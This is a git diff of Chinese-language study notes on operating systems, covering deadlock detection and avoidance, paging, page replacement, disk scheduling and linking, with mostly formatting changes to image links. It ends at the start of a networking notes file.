 上图为资源分配图，其中方框表示资源，圆圈表示进程。资源指向进程表示该资源已经分配给该进程，进程指向资源表示进程请求获取该资源。
 
-图 a 可以抽取出环，如图 b，它满足了环路等待条件，因此会发生死锁。
+图 a 可以抽取出环，如图 b，它满足了环路等待条件，因此会发生死锁。
 
 每种类型一个资源的死锁检测算法是通过检测有向图是否存在环来实现，从一个节点出发进行深度优先搜索，对访问过的节点进行标记，如果访问了已经标记的节点，就表示有向图存在环，也就是检测到死锁的发生。
 
-### 2. 每种类型多个资源的死锁检测
+### 2. 每种类型多个资源的死锁检测
 
-<div align="center"> <img src="pics/e1eda3d5-5ec8-4708-8e25-1a04c5e11f48.png"/> </div><br>
+![](index_files/e1eda3d5-5ec8-4708-8e25-1a04c5e11f48.png)
 
 上图中，有三个进程四个资源，每个数据代表的含义如下：
 
-- E 向量：资源总量
-- A 向量：资源剩余量
-- C 矩阵：每个进程所拥有的资源数量，每一行都代表一个进程拥有资源的数量
-- R 矩阵：每个进程请求的资源数量
+- E 向量：资源总量
+- A 向量：资源剩余量
+- C 矩阵：每个进程所拥有的资源数量，每一行都代表一个进程拥有资源的数量
+- R 矩阵：每个进程请求的资源数量
 
-进程 P<sub>1</sub> 和 P<sub>2</sub> 所请求的资源都得不到满足，只有进程 P<sub>3</sub> 可以，让 P<sub>3</sub> 执行，之后释放 P<sub>3</sub> 拥有的资源，此时 A = (2 2 2 0)。P<sub>2</sub> 可以执行，执行后释放 P<sub>2</sub> 拥有的资源，A = (4 2 2 1) 。P<sub>1</sub> 也可以执行。所有进程都可以顺利执行，没有死锁。
+进程 P<sub>1</sub> 和 P<sub>2</sub> 所请求的资源都得不到满足，只有进程 P<sub>3</sub> 可以，让 P<sub>3</sub> 执行，之后释放 P<sub>3</sub> 拥有的资源，此时 A = (2 2 2 0)。P<sub>2</sub> 可以执行，执行后释放 P<sub>2</sub> 拥有的资源，A = (4 2 2 1) 。P<sub>1</sub> 也可以执行。所有进程都可以顺利执行，没有死锁。
 
 算法总结如下：
 
 每个进程最开始时都不被标记，执行过程有可能被标记。当算法结束时，任何没有被标记的进程都是死锁进程。
 
-1. 寻找一个没有标记的进程 P<sub>i</sub>，它所请求的资源小于等于 A。
-2. 如果找到了这样一个进程，那么将 C 矩阵的第 i 行向量加到 A 中，标记该进程，并转回 1。
-3. 如果没有这样一个进程，算法终止。
+1. 寻找一个没有标记的进程 P<sub>i</sub>，它所请求的资源小于等于 A。
+2. 如果找到了这样一个进程，那么将 C 矩阵的第 i 行向量加到 A 中，标记该进程，并转回 1。
+3. 如果没有这样一个进程，算法终止。
 
-### 3. 死锁恢复
+### 3. 死锁恢复
 
-- 利用抢占恢复
-- 利用回滚恢复
-- 通过杀死进程恢复
+- 利用抢占恢复
+- 利用回滚恢复
+- 通过杀死进程恢复
 
-## 死锁预防
+## 死锁预防
 
 在程序运行之前预防发生死锁。
 
-### 1. 破坏互斥条件
+### 1. 破坏互斥条件
 
 例如假脱机打印机技术允许若干个进程同时输出，唯一真正请求物理打印机的进程是打印机守护进程。
 
-### 2. 破坏占有和等待条件
+### 2. 破坏占有和等待条件
 
 一种实现方式是规定所有进程在开始执行前请求所需要的全部资源。
 
-### 3. 破坏不可抢占条件
+### 3. 破坏不可抢占条件
 
-### 4. 破坏环路等待
+### 4. 破坏环路等待
 
 给资源统一编号，进程只能按编号顺序来请求资源。
 
-## 死锁避免
+## 死锁避免
 
 在程序运行时避免发生死锁。
 
-### 1. 安全状态
+### 1. 安全状态
 
-<div align="center"> <img src="pics/ed523051-608f-4c3f-b343-383e2d194470.png"/> </div><br>
+![](index_files/ed523051-608f-4c3f-b343-383e2d194470.png)
 
-图 a 的第二列 Has 表示已拥有的资源数，第三列 Max 表示总共需要的资源数，Free 表示还有可以使用的资源数。从图 a 开始出发，先让 B 拥有所需的所有资源（图 b），运行结束后释放 B，此时 Free 变为 5（图 c）；接着以同样的方式运行 C 和 A，使得所有进程都能成功运行，因此可以称图 a 所示的状态时安全的。
+图 a 的第二列 Has 表示已拥有的资源数，第三列 Max 表示总共需要的资源数，Free 表示还有可以使用的资源数。从图 a 开始出发，先让 B 拥有所需的所有资源（图 b），运行结束后释放 B，此时 Free 变为 5（图 c）；接着以同样的方式运行 C 和 A，使得所有进程都能成功运行，因此可以称图 a 所示的状态时安全的。
 
 定义：如果没有死锁发生，并且即使所有进程突然请求对资源的最大需求，也仍然存在某种调度次序能够使得每一个进程运行完毕，则称该状态是安全的。
 
 安全状态的检测与死锁的检测类似，因为安全状态必须要求不能发生死锁。下面的银行家算法与死锁检测算法非常类似，可以结合着做参考对比。
 
-### 2. 单个资源的银行家算法
+### 2. 单个资源的银行家算法
 
 一个小城镇的银行家，他向一群客户分别承诺了一定的贷款额度，算法要做的是判断对请求的满足是否会进入不安全状态，如果是，就拒绝请求；否则予以分配。
 
-<div align="center"> <img src="pics/d160ec2e-cfe2-4640-bda7-62f53e58b8c0.png"/> </div><br>
+![](index_files/d160ec2e-cfe2-4640-bda7-62f53e58b8c0.png)
 
-上图 c 为不安全状态，因此算法会拒绝之前的请求，从而避免进入图 c 中的状态。
+上图 c 为不安全状态，因此算法会拒绝之前的请求，从而避免进入图 c 中的状态。
 
-### 3. 多个资源的银行家算法
+### 3. 多个资源的银行家算法
 
-<div align="center"> <img src="pics/62e0dd4f-44c3-43ee-bb6e-fedb9e068519.png"/> </div><br>
+![](index_files/62e0dd4f-44c3-43ee-bb6e-fedb9e068519.png)
 
-上图中有五个进程，四个资源。左边的图表示已经分配的资源，右边的图表示还需要分配的资源。最右边的 E、P 以及 A 分别表示：总资源、已分配资源以及可用资源，注意这三个为向量，而不是具体数值，例如 A=(1020)，表示 4 个资源分别还剩下 1/0/2/0。
+上图中有五个进程，四个资源。左边的图表示已经分配的资源，右边的图表示还需要分配的资源。最右边的 E、P 以及 A 分别表示：总资源、已分配资源以及可用资源，注意这三个为向量，而不是具体数值，例如 A=(1020)，表示 4 个资源分别还剩下 1/0/2/0。
 
 检查一个状态是否安全的算法如下：
 
-- 查找右边的矩阵是否存在一行小于等于向量 A。如果不存在这样的行，那么系统将会发生死锁，状态是不安全的。
-- 假若找到这样一行，将该进程标记为终止，并将其已分配资源加到 A 中。
-- 重复以上两步，直到所有进程都标记为终止，则状态时安全的。
+- 查找右边的矩阵是否存在一行小于等于向量 A。如果不存在这样的行，那么系统将会发生死锁，状态是不安全的。
+- 假若找到这样一行，将该进程标记为终止，并将其已分配资源加到 A 中。
+- 重复以上两步，直到所有进程都标记为终止，则状态时安全的。
 
 如果一个状态不是安全的，需要拒绝进入这个状态。
 
-# 四、内存管理
+# 四、内存管理
 
-## 虚拟内存
+## 虚拟内存
 
 虚拟内存的目的是为了让物理内存扩充成更大的逻辑内存，从而让程序获得更多的可用内存。
 
 为了更好的管理内存，操作系统将内存抽象成地址空间。每个程序拥有自己的地址空间，这个地址空间被分割成多个块，每一块称为一页。这些页被映射到物理内存，但不需要映射到连续的物理内存，也不需要所有页都必须在物理内存中。当程序引用到不在物理内存中的页时，由硬件执行必要的映射，将缺失的部分装入物理内存并重新执行失败的指令。
 
-从上面的描述中可以看出，虚拟内存允许程序不用将地址空间中的每一页都映射到物理内存，也就是说一个程序不需要全部调入内存就可以运行，这使得有限的内存运行大程序成为可能。例如有一台计算机可以产生 16 位地址，那么一个程序的地址空间范围是 0\~64K。该计算机只有 32KB 的物理内存，虚拟内存技术允许该计算机运行一个 64K 大小的程序。
+从上面的描述中可以看出，虚拟内存允许程序不用将地址空间中的每一页都映射到物理内存，也就是说一个程序不需要全部调入内存就可以运行，这使得有限的内存运行大程序成为可能。例如有一台计算机可以产生 16 位地址，那么一个程序的地址空间范围是 0~64K。该计算机只有 32KB 的物理内存，虚拟内存技术允许该计算机运行一个 64K 大小的程序。
 
-<div align="center"> <img src="pics/7b281b1e-0595-402b-ae35-8c91084c33c1.png"/> </div><br>
+![](index_files/7b281b1e-0595-402b-ae35-8c91084c33c1.png)
 
-## 分页系统地址映射
+## 分页系统地址映射
 
-内存管理单元（MMU）管理着地址空间和物理内存的转换，其中的页表（Page table）存储着页（程序地址空间）和页框（物理内存空间）的映射表。
+内存管理单元（MMU）管理着地址空间和物理内存的转换，其中的页表（Page table）存储着页（程序地址空间）和页框（物理内存空间）的映射表。
 
 一个虚拟地址分成两个部分，一部分存储页面号，一部分存储偏移量。
 
-下图的页表存放着 16 个页，这 16 个页需要用 4 个比特位来进行索引定位。例如对于虚拟地址（0010 000000000100），前 4 位是存储页面号 2，读取表项内容为（110 1），页表项最后一位表示是否存在于内存中，1 表示存在。后 12 位存储偏移量。这个页对应的页框的地址为 （110 000000000100）。
+下图的页表存放着 16 个页，这 16 个页需要用 4 个比特位来进行索引定位。例如对于虚拟地址（0010 000000000100），前 4 位是存储页面号 2，读取表项内容为（110 1），页表项最后一位表示是否存在于内存中，1 表示存在。后 12 位存储偏移量。这个页对应的页框的地址为 （110 000000000100）。
 
-<div align="center"> <img src="pics/cf4386a1-58c9-4eca-a17f-e12b1e9770eb.png" width="500"/> </div><br>
+<img src="index_files/cf4386a1-58c9-4eca-a17f-e12b1e9770eb.png" width="500"/>
 
-## 页面置换算法
+## 页面置换算法
 
 在程序运行过程中，如果要访问的页面不在内存中，就发生缺页中断从而将该页调入内存中。此时如果内存已无空闲空间，系统必须从内存中调出一个页面到磁盘对换区中来腾出空间。
 
@@ -860,9 +819,9 @@ FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客户
 
 页面置换算法的主要目标是使页面置换频率最低（也可以说缺页率最低）。
 
-### 1. 最佳
+### 1. 最佳
 
-> OPT, Optimal replacement algorithm
+> OPT, Optimal replacement algorithm
 
 所选择的被换出的页面将是最长时间内不再被访问，通常可以保证获得最低的缺页率。
 
@@ -870,210 +829,239 @@ FIFO 常用于客户-服务器应用程序中，FIFO 用作汇聚点，在客户
 
 举例：一个系统为某进程分配了三个物理块，并有如下页面引用序列：
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?7，0，1，2，0，3，0，4，2，3，0，3，2，1，2，0，1，7，0，1"/></div> <br>
+$$ 7，0，1，2，0，3，0，4，2，3，0，3，2，1，2，0，1，7，0，1 $$
 
-开始运行时，先将 7, 0, 1 三个页面装入内存。当进程要访问页面 2 时，产生缺页中断，会将页面 7 换出，因为页面 7 再次被访问的时间最长。
+开始运行时，先将 7, 0, 1 三个页面装入内存。当进程要访问页面 2 时，产生缺页中断，会将页面 7 换出，因为页面 7 再次被访问的时间最长。
 
-### 2. 最近最久未使用
+### 2. 最近最久未使用
 
-> LRU, Least Recently Used
+> LRU, Least Recently Used
 
-虽然无法知道将来要使用的页面情况，但是可以知道过去使用页面的情况。LRU 将最近最久未使用的页面换出。
+虽然无法知道将来要使用的页面情况，但是可以知道过去使用页面的情况。LRU 将最近最久未使用的页面换出。
 
-为了实现 LRU，需要在内存中维护一个所有页面的链表。当一个页面被访问时，将这个页面移到链表表头。这样就能保证链表表尾的页面是最近最久未访问的。
+为了实现 LRU，需要在内存中维护一个所有页面的链表。当一个页面被访问时，将这个页面移到链表表头。这样就能保证链表表尾的页面是最近最久未访问的。
 
-因为每次访问都需要更新链表，因此这种方式实现的 LRU 代价很高。
+因为每次访问都需要更新链表，因此这种方式实现的 LRU 代价很高。
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?4，7，0，7，1，0，1，2，1，2，6"/></div> <br>
+$$ 4，7，0，7，1，0，1，2，1，2，6 $$
 
-<div align="center"> <img src="pics/eb859228-c0f2-4bce-910d-d9f76929352b.png"/> </div><br>
+<center> ![](index_files/eb859228-c0f2-4bce-910d-d9f76929352b.png) </center>
 
-### 3. 最近未使用
+### 3. 最近未使用
 
-> NRU, Not Recently Used
+> NRU, Not Recently Used
 
-每个页面都有两个状态位：R 与 M，当页面被访问时设置页面的 R=1，当页面被修改时设置 M=1。其中 R 位会定时被清零。可以将页面分成以下四类：
+每个页面都有两个状态位：R 与 M，当页面被访问时设置页面的 R=1，当页面被修改时设置 M=1。其中 R 位会定时被清零。可以将页面分成以下四类：
 
-- R=0，M=0
-- R=0，M=1
-- R=1，M=0
-- R=1，M=1
+- R=0，M=0
+- R=0，M=1
+- R=1，M=0
+- R=1，M=1
 
-当发生缺页中断时，NRU 算法随机地从类编号最小的非空类中挑选一个页面将它换出。
+当发生缺页中断时，NRU 算法随机地从类编号最小的非空类中挑选一个页面将它换出。
 
-NRU 优先换出已经被修改的脏页面（R=0，M=1），而不是被频繁使用的干净页面（R=1，M=0）。
+NRU 优先换出已经被修改的脏页面（R=0，M=1），而不是被频繁使用的干净页面（R=1，M=0）。
 
-### 4. 先进先出
+### 4. 先进先出
 
-> FIFO, First In First Out
+> FIFO, First In First Out
 
 选择换出的页面是最先进入的页面。
 
 该算法会将那些经常被访问的页面也被换出，从而使缺页率升高。
 
-### 5. 第二次机会算法
+### 5. 第二次机会算法
 
-FIFO 算法可能会把经常使用的页面置换出去，为了避免这一问题，对该算法做一个简单的修改：
+FIFO 算法可能会把经常使用的页面置换出去，为了避免这一问题，对该算法做一个简单的修改：
 
-当页面被访问 (读或写) 时设置该页面的 R 位为 1。需要替换的时候，检查最老页面的 R 位。如果 R 位是 0，那么这个页面既老又没有被使用，可以立刻置换掉；如果是 1，就将 R 位清 0，并把该页面放到链表的尾端，修改它的装入时间使它就像刚装入的一样，然后继续从链表的头部开始搜索。
+当页面被访问 (读或写) 时设置该页面的 R 位为 1。需要替换的时候，检查最老页面的 R 位。如果 R 位是 0，那么这个页面既老又没有被使用，可以立刻置换掉；如果是 1，就将 R 位清 0，并把该页面放到链表的尾端，修改它的装入时间使它就像刚装入的一样，然后继续从链表的头部开始搜索。
 
-<div align="center"> <img src="pics/ecf8ad5d-5403-48b9-b6e7-f2e20ffe8fca.png"/> </div><br>
+![](index_files/ecf8ad5d-5403-48b9-b6e7-f2e20ffe8fca.png)
 
-### 6. 时钟
+### 6. 时钟
 
-> Clock
+> Clock
 
 第二次机会算法需要在链表中移动页面，降低了效率。时钟算法使用环形链表将页面连接起来，再使用一个指针指向最老的页面。
 
-<div align="center"> <img src="pics/5f5ef0b6-98ea-497c-a007-f6c55288eab1.png"/> </div><br>
+![](index_files/5f5ef0b6-98ea-497c-a007-f6c55288eab1.png)
 
-## 分段
+## 分段
 
 虚拟内存采用的是分页技术，也就是将地址空间划分成固定大小的页，每一页再与内存进行映射。
 
-下图为一个编译器在编译过程中建立的多个表，有 4 个表是动态增长的，如果使用分页系统的一维地址空间，动态增长的特点会导致覆盖问题的出现。
+下图为一个编译器在编译过程中建立的多个表，有 4 个表是动态增长的，如果使用分页系统的一维地址空间，动态增长的特点会导致覆盖问题的出现。
 
-<div align="center"> <img src="pics/22de0538-7c6e-4365-bd3b-8ce3c5900216.png"/> </div><br>
+![](index_files/22de0538-7c6e-4365-bd3b-8ce3c5900216.png)
 
 分段的做法是把每个表分成段，一个段构成一个独立的地址空间。每个段的长度可以不同，并且可以动态增长。
 
-<div align="center"> <img src="pics/e0900bb2-220a-43b7-9aa9-1d5cd55ff56e.png"/> </div><br>
+![](index_files/e0900bb2-220a-43b7-9aa9-1d5cd55ff56e.png)
 
-## 段页式
+## 段页式
 
 程序的地址空间划分成多个拥有独立地址空间的段，每个段上的地址空间划分成大小相同的页。这样既拥有分段系统的共享和保护，又拥有分页系统的虚拟内存功能。
 
-## 分页与分段的比较
+## 分页与分段的比较
 
-- 对程序员的透明性：分页透明，但是分段需要程序员显示划分每个段。
+- 对程序员的透明性：分页透明，但是分段需要程序员显示划分每个段。
 
-- 地址空间的维度：分页是一维地址空间，分段是二维的。
+- 地址空间的维度：分页是一维地址空间，分段是二维的。
 
-- 大小是否可以改变：页的大小不可变，段的大小可以动态改变。
+- 大小是否可以改变：页的大小不可变，段的大小可以动态改变。
 
-- 出现的原因：分页主要用于实现虚拟内存，从而获得更大的地址空间；分段主要是为了使程序和数据可以被划分为逻辑上独立的地址空间并且有助于共享和保护。
+- 出现的原因：分页主要用于实现虚拟内存，从而获得更大的地址空间；分段主要是为了使程序和数据可以被划分为逻辑上独立的地址空间并且有助于共享和保护。
 
-# 五、设备管理
+# 五、设备管理
 
-## 磁盘结构
+## 磁盘结构
 
-- 盘面（Platter）：一个磁盘有多个盘面；
-- 磁道（Track）：盘面上的圆形带状区域，一个盘面可以有多个磁道；
-- 扇区（Track Sector）：磁道上的一个弧段，一个磁道可以有多个扇区，它是最小的物理储存单位，目前主要有 512 bytes 与 4 K 两种大小；
-- 磁头（Head）：与盘面非常接近，能够将盘面上的磁场转换为电信号（读），或者将电信号转换为盘面的磁场（写）；
-- 制动手臂（Actuator arm）：用于在磁道之间移动磁头；
-- 主轴（Spindle）：使整个盘面转动。
+- 盘面（Platter）：一个磁盘有多个盘面；
+- 磁道（Track）：盘面上的圆形带状区域，一个盘面可以有多个磁道；
+- 扇区（Track Sector）：磁道上的一个弧段，一个磁道可以有多个扇区，它是最小的物理储存单位，目前主要有 512 bytes 与 4 K 两种大小；
+- 磁头（Head）：与盘面非常接近，能够将盘面上的磁场转换为电信号（读），或者将电信号转换为盘面的磁场（写）；
+- 制动手臂（Actuator arm）：用于在磁道之间移动磁头；
+- 主轴（Spindle）：使整个盘面转动。
 
-<div align="center"> <img src="pics/014fbc4d-d873-4a12-b160-867ddaed9807.jpg"/> </div><br>
+![](index_files/014fbc4d-d873-4a12-b160-867ddaed9807.jpg)
 
-## 磁盘调度算法
+## 磁盘调度算法
 
 读写一个磁盘块的时间的影响因素有：
 
-- 旋转时间（主轴转动盘面，使得磁头移动到适当的扇区上）
-- 寻道时间（制动手臂移动，使得磁头移动到适当的磁道上）
-- 实际的数据传输时间
+- 旋转时间（主轴转动盘面，使得磁头移动到适当的扇区上）
+- 寻道时间（制动手臂移动，使得磁头移动到适当的磁道上）
+- 实际的数据传输时间
 
 其中，寻道时间最长，因此磁盘调度的主要目标是使磁盘的平均寻道时间最短。
 
-### 1. 先来先服务
+### 1. 先来先服务
 
-> FCFS, First Come First Served
+> FCFS, First Come First Served
 
 按照磁盘请求的顺序进行调度。
 
 优点是公平和简单。缺点也很明显，因为未对寻道做任何优化，使平均寻道时间可能较长。
 
-### 2. 最短寻道时间优先
+### 2. 最短寻道时间优先
 
-> SSTF, Shortest Seek Time First
+> SSTF, Shortest Seek Time First
 
 优先调度与当前磁头所在磁道距离最近的磁道。
 
 虽然平均寻道时间比较低，但是不够公平。如果新到达的磁道请求总是比一个在等待的磁道请求近，那么在等待的磁道请求会一直等待下去，也就是出现饥饿现象。具体来说，两端的磁道请求更容易出现饥饿现象。
 
-<div align="center"> <img src="pics/4e2485e4-34bd-4967-9f02-0c093b797aaa.png"/> </div><br>
+![](index_files/4e2485e4-34bd-4967-9f02-0c093b797aaa.png)
 
-### 3. 电梯算法
+### 3. 电梯算法
 
-> SCAN
+> SCAN
 
 电梯总是保持一个方向运行，直到该方向没有请求为止，然后改变运行方向。
 
 电梯算法（扫描算法）和电梯的运行过程类似，总是按一个方向来进行磁盘调度，直到该方向上没有未完成的磁盘请求，然后改变方向。
 
-因为考虑了移动方向，因此所有的磁盘请求都会被满足，解决了 SSTF 的饥饿问题。
+因为考虑了移动方向，因此所有的磁盘请求都会被满足，解决了 SSTF 的饥饿问题。
 
-<div align="center"> <img src="pics/271ce08f-c124-475f-b490-be44fedc6d2e.png"/> </div><br>
+![](index_files/271ce08f-c124-475f-b490-be44fedc6d2e.png)
 
-# 六、链接
+# 六、链接
 
-## 编译系统
+## 编译系统
 
-以下是一个 hello.c 程序：
+以下是一个 hello.c 程序：
 
 ```c
-#include <stdio.h>
+#include <stdio.h>
 
-int main()
+int main()
 {
-    printf("hello, world\n");
-    return 0;
+    printf("hello, world\n");
+    return 0;
 }
 ```
 
-在 Unix 系统上，由编译器把源文件转换为目标文件。
+在 Unix 系统上，由编译器把源文件转换为目标文件。
 
 ```bash
-gcc -o hello hello.c
+gcc -o hello hello.c
 ```
 
 这个过程大致如下：
 
-<div align="center"> <img src="pics/b396d726-b75f-4a32-89a2-03a7b6e19f6f.jpg" width="800"/> </div><br>
+<img src="index_files/b396d726-b75f-4a32-89a2-03a7b6e19f6f.jpg" width="800"/>
 
-- 预处理阶段：处理以 # 开头的预处理命令；
-- 编译阶段：翻译成汇编文件；
-- 汇编阶段：将汇编文件翻译成可重定向目标文件；
-- 链接阶段：将可重定向目标文件和 printf.o 等单独预编译好的目标文件进行合并，得到最终的可执行目标文件。
+- 预处理阶段：处理以 # 开头的预处理命令；
+- 编译阶段：翻译成汇编文件；
+- 汇编阶段：将汇编文件翻译成可重定向目标文件；
+- 链接阶段：将可重定向目标文件和 printf.o 等单独预编译好的目标文件进行合并，得到最终的可执行目标文件。
 
-## 静态链接
+## 静态链接
 
 静态链接器以一组可重定向目标文件为输入，生成一个完全链接的可执行目标文件作为输出。链接器主要完成以下两个任务：
 
-- 符号解析：每个符号对应于一个函数、一个全局变量或一个静态变量，符号解析的目的是将每个符号引用与一个符号定义关联起来。
-- 重定位：链接器通过把每个符号定义与一个内存位置关联起来，然后修改所有对这些符号的引用，使得它们指向这个内存位置。
+- 符号解析：每个符号对应于一个函数、一个全局变量或一个静态变量，符号解析的目的是将每个符号引用与一个符号定义关联起来。
+- 重定位：链接器通过把每个符号定义与一个内存位置关联起来，然后修改所有对这些符号的引用，使得它们指向这个内存位置。
 
-<div align="center"> <img src="pics/47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg"/> </div><br>
+![](index_files/47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg)
 
-## 目标文件
+## 目标文件
 
-- 可执行目标文件：可以直接在内存中执行；
-- 可重定向目标文件：可与其它可重定向目标文件在链接阶段合并，创建一个可执行目标文件；
-- 共享目标文件：这是一种特殊的可重定向目标文件，可以在运行时被动态加载进内存并链接；
+- 可执行目标文件：可以直接在内存中执行；
+- 可重定向目标文件：可与其它可重定向目标文件在链接阶段合并，创建一个可执行目标文件；
+- 共享目标文件：这是一种特殊的可重定向目标文件，可以在运行时被动态加载进内存并链接；
 
-## 动态链接
+## 动态链接
 
 静态库有以下两个问题：
 
-- 当静态库更新时那么整个程序都要重新进行链接；
-- 对于 printf 这种标准函数库，如果每个程序都要有代码，这会极大浪费资源。
+- 当静态库更新时那么整个程序都要重新进行链接；
+- 对于 printf 这种标准函数库，如果每个程序都要有代码，这会极大浪费资源。
 
-共享库是为了解决静态库的这两个问题而设计的，在 Linux 系统中通常用 .so 后缀来表示，Windows 系统上它们被称为 DLL。它具有以下特点：
+共享库是为了解决静态库的这两个问题而设计的，在 Linux 系统中通常用 .so 后缀来表示，Windows 系统上它们被称为 DLL。它具有以下特点：
 
-- 在给定的文件系统中一个库只有一个文件，所有引用该库的可执行目标文件都共享这个文件，它不会被复制到引用它的可执行文件中；
-- 在内存中，一个共享库的 .text 节（已编译程序的机器代码）的一个副本可以被不同的正在运行的进程共享。
+- 在给定的文件系统中一个库只有一个文件，所有引用该库的可执行目标文件都共享这个文件，它不会被复制到引用它的可执行文件中；
+- 在内存中，一个共享库的 .text 节（已编译程序的机器代码）的一个副本可以被不同的正在运行的进程共享。
 
-<div align="center"> <img src="pics/76dc7769-1aac-4888-9bea-064f1caa8e77.jpg"/> </div><br>
+![](index_files/76dc7769-1aac-4888-9bea-064f1caa8e77.jpg)
 
-# 参考资料
+# 参考资料
 
-- Tanenbaum A S, Bos H. Modern operating systems[M]. Prentice Hall Press, 2014.
-- 汤子瀛, 哲凤屏, 汤小丹. 计算机操作系统[M]. 西安电子科技大学出版社, 2001.
-- Bryant, R. E., & O’Hallaron, D. R. (2004). 深入理解计算机系统.
-- 史蒂文斯. UNIX 环境高级编程 [M]. 人民邮电出版社, 2014.
-- [Operating System Notes](https://applied-programming.github.io/Operating-Systems-Notes/)
-- [Operating-System Structures](https://www.cs.uic.edu/\~jbell/CourseNotes/OperatingSystems/2_Structures.html)
-- [Processes](http://cse.csusb.edu/tongyu/courses/cs460/notes/process.php)
-- [Inter Process Communication Presentation[1]](https://www.slideshare.net/rkolahalam/inter-process-communication-presentation1)
-- [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)
+- Tanenbaum A S, Bos H. Modern operating systems[M]. Prentice Hall Press, 2014.
+- 汤子瀛, 哲凤屏, 汤小丹. 计算机操作系统[M]. 西安电子科技大学出版社, 2001.
+- Bryant, R. E., & O’Hallaron, D. R. (2004). 深入理解计算机系统.
+- 史蒂文斯. UNIX 环境高级编程 [M]. 人民邮电出版社, 2014.
+- [Operating System Notes](https://applied-programming.github.io/Operating-Systems-Notes/)
+- [Operating-System Structures](https://www.cs.uic.edu/~jbell/CourseNotes/OperatingSystems/2_Structures.html)
+- [Processes](http://cse.csusb.edu/tongyu/courses/cs460/notes/process.php)
+- [Inter Process Communication Presentation[1]](https://www.slideshare.net/rkolahalam/inter-process-communication-presentation1)
+- [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)
+---bottom---CyC---
+![](index_files/tGPV0.png)
+![](index_files/2_14_microkernelArchitecture.jpg)
+![](index_files/a6ac2b08-3861-4e85-baa8-382287bfee9f.png)
+![](index_files/3cd630ea-017c-488d-ad1d-732b4efeddf5.png)
+![](index_files/ProcessState.png)
+![](index_files/8c662999-c16c-481c-9f40-1fdba5bc9167.png)
+![](index_files/042cf928-3c8e-4815-ae9c-f2780202c68f.png)
+![](index_files/a9077f06-7584-4f2b-8c20-3a8e46928820.jpg)
+![](index_files/53cd9ade-b0a6-4399-b4de-7f1fbd06cdfb.png)
+![](index_files/2ac50b81-d92a-4401-b9ec-f2113ecc3076.png)
+![](index_files/c037c901-7eae-4e31-a1e4-9d41329e5c3e.png)
+![](index_files/b1fa0453-a4b0-4eae-a352-48acca8fff74.png)
+![](index_files/e1eda3d5-5ec8-4708-8e25-1a04c5e11f48.png)
+![](index_files/ed523051-608f-4c3f-b343-383e2d194470.png)
+![](index_files/d160ec2e-cfe2-4640-bda7-62f53e58b8c0.png)
+![](index_files/62e0dd4f-44c3-43ee-bb6e-fedb9e068519.png)
+![](index_files/7b281b1e-0595-402b-ae35-8c91084c33c1.png)
+![](index_files/cf4386a1-58c9-4eca-a17f-e12b1e9770eb.png)
+![](index_files/eb859228-c0f2-4bce-910d-d9f76929352b.png)
+![](index_files/ecf8ad5d-5403-48b9-b6e7-f2e20ffe8fca.png)
+![](index_files/5f5ef0b6-98ea-497c-a007-f6c55288eab1.png)
+![](index_files/22de0538-7c6e-4365-bd3b-8ce3c5900216.png)
+![](index_files/e0900bb2-220a-43b7-9aa9-1d5cd55ff56e.png)
+![](index_files/4e2485e4-34bd-4967-9f02-0c093b797aaa.png)
+![](index_files/271ce08f-c124-475f-b490-be44fedc6d2e.png)
+![](index_files/b396d726-b75f-4a32-89a2-03a7b6e19f6f.jpg)
+![](index_files/47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg)
+![](index_files/76dc7769-1aac-4888-9bea-064f1caa8e77.jpg)
diff --git a/docs/notes/计算机网络.md b/docs/notes/计算机网络.md
index 192596f8..3bf672aa 100644
--- a/docs/notes/计算机网络.md
+++ b/docs/notes/计算机网络.md
@@ -1,890 +1,886 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、概述](#一概述)
-    * [网络的网络](#网络的网络)
-    * [ISP](#isp)
-    * [主机之间的通信方式](#主机之间的通信方式)
-    * [电路交换与分组交换](#电路交换与分组交换)
-    * [时延](#时延)
-    * [计算机网络体系结构](#计算机网络体系结构)
-* [二、物理层](#二物理层)
-    * [通信方式](#通信方式)
-    * [带通调制](#带通调制)
-* [三、数据链路层](#三数据链路层)
-    * [基本问题](#基本问题)
-    * [信道分类](#信道分类)
-    * [信道复用技术](#信道复用技术)
-    * [CSMA/CD 协议](#csmacd-协议)
-    * [PPP 协议](#ppp-协议)
-    * [MAC 地址](#mac-地址)
-    * [局域网](#局域网)
-    * [以太网](#以太网)
-    * [交换机](#交换机)
-    * [虚拟局域网](#虚拟局域网)
-* [四、网络层](#四网络层)
-    * [概述](#概述)
-    * [IP 数据报格式](#ip-数据报格式)
-    * [IP 地址编址方式](#ip-地址编址方式)
-    * [地址解析协议 ARP](#地址解析协议-arp)
-    * [网际控制报文协议 ICMP](#网际控制报文协议-icmp)
-    * [虚拟专用网 VPN](#虚拟专用网-vpn)
-    * [网络地址转换 NAT](#网络地址转换-nat)
-    * [路由器的结构](#路由器的结构)
-    * [路由器分组转发流程](#路由器分组转发流程)
-    * [路由选择协议](#路由选择协议)
-* [五、传输层](#五传输层)
-    * [UDP 和 TCP 的特点](#udp-和-tcp-的特点)
-    * [UDP 首部格式](#udp-首部格式)
-    * [TCP 首部格式](#tcp-首部格式)
-    * [TCP 的三次握手](#tcp-的三次握手)
-    * [TCP 的四次挥手](#tcp-的四次挥手)
-    * [TCP 可靠传输](#tcp-可靠传输)
-    * [TCP 滑动窗口](#tcp-滑动窗口)
-    * [TCP 流量控制](#tcp-流量控制)
-    * [TCP 拥塞控制](#tcp-拥塞控制)
-* [六、应用层](#六应用层)
-    * [域名系统](#域名系统)
-    * [文件传送协议](#文件传送协议)
-    * [动态主机配置协议](#动态主机配置协议)
-    * [远程登录协议](#远程登录协议)
-    * [电子邮件协议](#电子邮件协议)
-    * [常用端口](#常用端口)
-    * [Web 页面请求过程](#web-页面请求过程)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、概述
 
-
-# 一、概述
-
-## 网络的网络
+## 网络的网络
 
 网络把主机连接起来，而互联网是把多种不同的网络连接起来，因此互联网是网络的网络。
 
-<div align="center"> <img src="pics/network-of-networks.gif" width="450"/> </div><br>
